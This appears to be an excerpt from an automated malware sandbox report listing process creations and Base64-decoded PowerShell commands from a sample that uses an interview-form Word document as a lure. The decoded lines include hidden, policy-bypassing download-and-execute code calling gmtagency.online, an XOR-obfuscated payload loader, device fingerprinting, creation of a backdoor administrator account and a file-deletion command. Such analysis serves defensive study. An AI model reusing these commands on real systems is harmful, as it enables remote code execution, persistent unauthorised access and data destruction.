EgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA=="

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXt.ENCodING]::UTF8.GEtSTRINg((Iwr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9nbXRhZ2VuY3kub25saW5lLzBEa3o3bg==")))).CONteNt))
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://gmtagency.online/file2/84e009c5e29882323580b7c700d6d7fbf207df368df023a607710ca7f4c16856cff97b78654a883999182a054047890c863ba38cd142dc11cce8f76106379ad2e15601f04be4f6408483c515afddf40f1a60a87185af95c3d6e14b1b85f1d36ed69abb735a67351e2128ffb73d449c3b";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXt.ENCodING]::UTF8.GEtSTRINg((Iwr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9nbXRhZ2VuY3kub25saW5lLzBEa3o3bg==")))).CONteNt))	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://gmtagency.online/file2/84e009c5e29882323580b7c700d6d7fbf207df368df023a607710ca7f4c16856cff97b78654a883999182a054047890c863ba38cd142dc11cce8f76106379ad2e15601f04be4f6408483c515afddf40f1a60a87185af95c3d6e14b1b85f1d36ed69abb735a67351e2128ffb73d449c3b";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4DCB.tmp" "c:\Users\user\AppData\Local\Temp\lsozgnau\CSCDC8C4E3F93914FB7BA165C9B4C26D24F.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Online Interview Scheduling Form.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwAD
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAG